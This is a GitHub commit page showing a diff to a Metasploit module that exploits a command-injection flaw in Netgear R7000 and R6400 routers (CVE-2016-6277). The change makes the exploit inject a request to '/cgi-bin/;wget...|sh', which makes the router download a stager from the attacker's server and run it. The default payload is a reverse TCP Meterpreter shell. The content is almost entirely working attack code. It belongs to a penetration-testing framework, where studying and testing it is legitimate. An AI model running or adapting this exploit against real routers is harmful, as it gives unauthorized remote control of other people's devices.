Skip to content

Commit fbf7f55

Browse files
authored
Merge pull request #1 from wvu-r7/pr/7968
Convert to CmdStager for R7000 exploit
2 parents 25b3cc6 + 0f899fd commit fbf7f55

File tree

1 file changed

+31
-25
lines changed

1 file changed

+31
-25
lines changed

modules/exploits/linux/http/netgear_r7000_cgibin_exec.rb

Lines changed: 31 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -6,9 +6,11 @@
66
require 'msf/core'
77

88
class MetasploitModule < Msf::Exploit::Remote
9+
910
Rank = ExcellentRanking
1011

1112
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Exploit::CmdStager
1214

1315
def initialize(info = {})
1416
super(update_info(info,
@@ -18,11 +20,11 @@ def initialize(info = {})
1820
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
1921
},
2022
'License' => MSF_LICENSE,
21-
'Platform' => 'unix',
23+
'Platform' => 'linux',
2224
'Author' => ['thecarterb', 'Acew0rm'],
2325
'DefaultTarget' => 0,
24-
'Privileged' => false,
25-
'Arch' => [ARCH_CMD],
26+
'Privileged' => true,
27+
'Arch' => ARCH_ARMLE,
2628
'Targets' => [
2729
[ 'Automatic Target', { } ]
2830
],
@@ -35,20 +37,19 @@ def initialize(info = {})
3537
[ 'CVE', '2016-6277']
3638
],
3739
'DisclosureDate' => 'Dec 06 2016',
38-
'Payload' =>
40+
'DefaultOptions' =>
3941
{
40-
'Space' => 1024,
41-
'DisableNops' => true,
42-
'BadChars' => "\x20"
43-
},
44-
'DefaultOptions' => { 'WfsDelay' => 10}
42+
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
43+
}
4544
))
4645

4746
register_options(
4847
[
4948
Opt::RPORT(80)
5049
], self.class)
51-
end
50+
51+
deregister_options('URIPATH')
52+
end
5253

5354
def scrape(text, start_trig, end_trig)
5455
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
@@ -80,24 +81,29 @@ def check
8081
end
8182

8283
def exploit
83-
check
84-
85-
pe = payload.encoded
86-
pe.to_s
87-
pe.gsub!('{','')
88-
pe.gsub!('}','')
84+
return if check == CheckCode::Safe
8985

90-
#cmd = payload.encoded.unpack("C*").map{|c| "\\x%.2x" % c}.join
91-
#str = "echo$IFS-ne$IFS\"#{cmd}\"|/bin/sh&"
86+
@cmdstager = generate_cmdstager(flavor: :wget).join(';')
9287

93-
print_status('Sending encoded command...')
94-
vprint_status("Encoded command: #{pe}")
95-
send_request_cgi({
96-
'uri' => "/cgi-bin/;#{pe}",
97-
'method' => 'GET'
98-
})
88+
send_request_cgi(
89+
'method' => 'GET',
90+
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
91+
)
92+
end
9993

100-
print_status('Giving the handler time to run...')
94+
# Return CmdStager on first request, payload on second
95+
def on_request_uri(cli, request)
96+
if @cmdstager
97+
send_response(cli, @cmdstager)
98+
@cmdstager = nil
99+
else
100+
super
101+
end
102+
end
101103

104+
# XXX: This is the only way to force this resource
105+
def resource_uri
106+
'/'
102107
end
108+
103109
end

0 commit comments

Comments
 (0)